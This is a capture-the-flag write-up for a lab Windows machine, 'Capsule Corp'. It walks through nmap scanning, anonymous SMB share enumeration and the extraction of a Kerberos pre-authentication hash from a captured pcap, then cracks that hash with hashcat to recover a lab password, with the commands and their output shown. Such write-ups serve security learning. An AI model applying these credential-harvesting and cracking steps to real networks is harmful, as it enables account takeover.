Capsule Corp (Machine)

2 and a half hours of my life worth wasting to be honest

Quick solution explained

Nmap Scan

kali@kali ~> nmap -sC -sV -Pn 10.8.0.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 05:59 EDT
Nmap scan report for 10.8.0.4
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 10 Enterprise Evaluation 19045 microsoft-ds (workgroup: CAPSULE-CORP)
Service Info: Host: BULMA-BRIEFS; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Enterprise Evaluation 19045 (Windows 10 Enterprise Evaluation 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Bulma-Briefs
|   NetBIOS computer name: BULMA-BRIEFS\x00
|   Domain name: CAPSULE-CORP.local
|   Forest name: CAPSULE-CORP.local
|   FQDN: Bulma-Briefs.CAPSULE-CORP.local
|_  System time: 2024-06-29T03:00:15-07:00
| smb2-time:
|   date: 2024-06-29T10:00:14
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BULMA-BRIEFS, NetBIOS user: <unknown>, NetBIOS MAC: 00:ff:52:53:f5:01 (unknown)
|_clock-skew: mean: 2h19m59s, deviation: 4h02m30s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.48 seconds

Now lets see if theres anything on the SMB shares...

SMB anonymous access

kali@kali ~> nxc smb 10.8.0.4
SMB         10.8.0.4        445    BULMA-BRIEFS     [*] Windows 10 Enterprise Evaluation 19045 x64 (name:BULMA-BRIEFS) (domain:CAPSULE-CORP.local) (signing:False) (SMBv1:True)
kali@kali ~> nxc smb 10.8.0.4 -u "" -p ""
SMB         10.8.0.4        445    BULMA-BRIEFS     [*] Windows 10 Enterprise Evaluation 19045 x64 (name:BULMA-BRIEFS) (domain:CAPSULE-CORP.local) (signing:False) (SMBv1:True)
SMB         10.8.0.4        445    BULMA-BRIEFS     [+] CAPSULE-CORP.local\:
kali@kali ~> nxc smb 10.8.0.4 -u "" -p "" --shares
SMB         10.8.0.4        445    BULMA-BRIEFS     [*] Windows 10 Enterprise Evaluation 19045 x64 (name:BULMA-BRIEFS) (domain:CAPSULE-CORP.local) (signing:False) (SMBv1:True)
SMB         10.8.0.4        445    BULMA-BRIEFS     [+] CAPSULE-CORP.local\:
SMB         10.8.0.4        445    BULMA-BRIEFS     [*] Enumerated shares
SMB         10.8.0.4        445    BULMA-BRIEFS     Share           Permissions     Remark
SMB         10.8.0.4        445    BULMA-BRIEFS     -----           -----------     ------
SMB         10.8.0.4        445    BULMA-BRIEFS     ADMIN$                          Remote Admin
SMB         10.8.0.4        445    BULMA-BRIEFS     C$                              Default share
SMB         10.8.0.4        445    BULMA-BRIEFS     IPC$                            Remote IPC
SMB         10.8.0.4        445    BULMA-BRIEFS     logs            READ 

in here you will find a very suspicious file called network.pcapng once you open it Wireshark you will see the following

PCAP stage

What in the actual fuck am I looking at?

So there are ALOT of shit going on, red and black I didn't understand most of it I decided to slowly but surely sift through it until I found something interesting... I noticed that the kerberos protocol was being mentioned. Now im a big fan of Active Direcetory but... forensics? this was a fucking nightmare for me, so i decided to order by protocol and see all of the requests being mentioned

So a lot of requests where being made, some where failed attempts at authentication and others where successful. I was really lost and I remembered a very similar idea that was present in a HackTheBox active (now retired) machine. I completely forgot this method so ill start over from wireshark to figuring out our next steps.

Google...

So the first I did was of course google. now there are multiple ways to solve this and multiple paths and for the fun of it ill explore all of them

ew.... google.

Path #1 (Automated)

NetworkMiner (Netresec & 0xBEN)

This path is pretty much using a tool called NetworkMiner to extract it, now the issue with that is if you want to analyze pcapng files using the tool you need to have the premium version of NetworkMiner... which is for the better in my opinion.

But... we can atleast change our pcapng file to pcap using this tool

kali@kali ~> tshark -F pcap -r network.pcapng -w network.pcap

Now we can open it using networkminer

$krb5pa$18$briefs.bulma$CAPSULE-CORP.LOCAL$CAPSULE-CORP.LOCALbriefs.bulma$dcc507a142cb2696e5201d952c39a833b8c9bcd5ae1ea9b721f51bdfa86fdd84ac33fb308c1382ac853183aacd6f65f227270a198d7c265a

Now we have the hash we can crack it and boom ez

Path #2 (Mine)

God bless this fucking person

This blog basically explains everything you could every dream of but to give a massive TLDR (But I stil l recommend you reading the blog post to upgrade your knowledge);

  • KRB_AS_REQ

    • When a client wants to send something they speak to the TGT (ticket granting ticket)

    • TGT requested by the client is a piece of encrypted information containing, among other things, a session key and user information (ID, name, groups, …).

    • In order to perform this TGT request, The user will send its name to the KDC as well as the exact request’s time, encrypted with a hashed version of his password.

    • The KDC will receive this username and will verify that it exists in its database. If it can verify that it does exist then it proceeds to use the hashed password to decrypt the time stamp

    • summary that is horribly simplified and doesn't explain the actual depth;

      • When the user requests to use a service, a ticket is granted that the DC uses to authenticate the user

      • The ticket has the users password be used to ENCRYPT the timestamp.

So now that we have that in mind, we need to look for the correct AS-REQ with the time stamp

The big giveaway that this valid to be attacked is the fact that the value ENC-TIMESTAMP is present, so lets investigate deeper into it

So here we can see the hash of the person right after cipher: so we have this hash but we dont know who the user actually is? we can find that out in the same screenshot. if you look under there is a cname value that has some data inside of it. specifically its a string and this string holds the name of the user of which this ticket belongs to.

So no we have the pieces of the puzzle together, we have the hash, the domain and the name of the user... what now?

Now we crack it, we can see examples of this etype and Kerberos hashes in the example hashcat page. a quick CTRL+F with the keyword kerberos leads me to alot of hashes, but we need pre-authentication & for the etype to be 18 and so we find the perfect mode which is 19900. there is even an example hash provided we can use as a point of reference

$krb5pa$18$hashcat$HASHCATDOMAIN.COM$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770

We for sure need to split it up to make it easier to digest too, so now lets replace these placeholder values with the information that we have

  • name = briefs.bulma

  • Domain = CAPSULE-CORP.LOCAL

  • Hash = dcc507a142cb2696e5201d952c39a833b8c9bcd5ae1ea9b721f51bdfa86fdd84ac33fb308c1382ac853183aacd6f65f227270a198d7c265a

so now with all of this our hash looks like..... DRUM ROLLS PLEAAAASSEEE

$krb5pa$18$briefs.bulma$CAPSULE-CORP.LOCAL$dcc507a142cb2696e5201d952c39a833b8c9bcd5ae1ea9b721f51bdfa86fdd84ac33fb308c1382ac853183aacd6f65f227270a198d7c265a

So now that we fucking FINALLY have the hash we can move on to attempt at cracking it

PS C:\Users\LENOVO\Desktop\hashcat-6.2.6> .\hashcat.exe -m 19900 -a 0 challenge.txt wordlist.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) Iris(R) Xe Graphics, 3168/6427 MB (1606 MB allocatable), 80MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.

Started: Sun Jun 30 18:04:44 2024
Stopped: Sun Jun 30 18:04:45 2024
PS C:\Users\LENOVO\Desktop\hashcat-6.2.6> .\hashcat.exe -m 19900 -a 0 challenge.txt wordlist.txt --show
$krb5pa$18$briefs.bulma$CAPSULE-CORP.LOCAL$dcc507a142cb2696e5201d952c39a833b8c9bcd5ae1ea9b721f51bdfa86fdd84ac33fb308c1382ac853183aaccd6f65f227270a198d7c265a:Android16

And now we finally have the goddamn password... which was Android16 all thats left is to evil-winrm to get the flag and your golden :))

Full theory explanation

(Coming soon)

Resources

used as i was panicking for first blood (ALL IN ORDER):

https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/

Last updated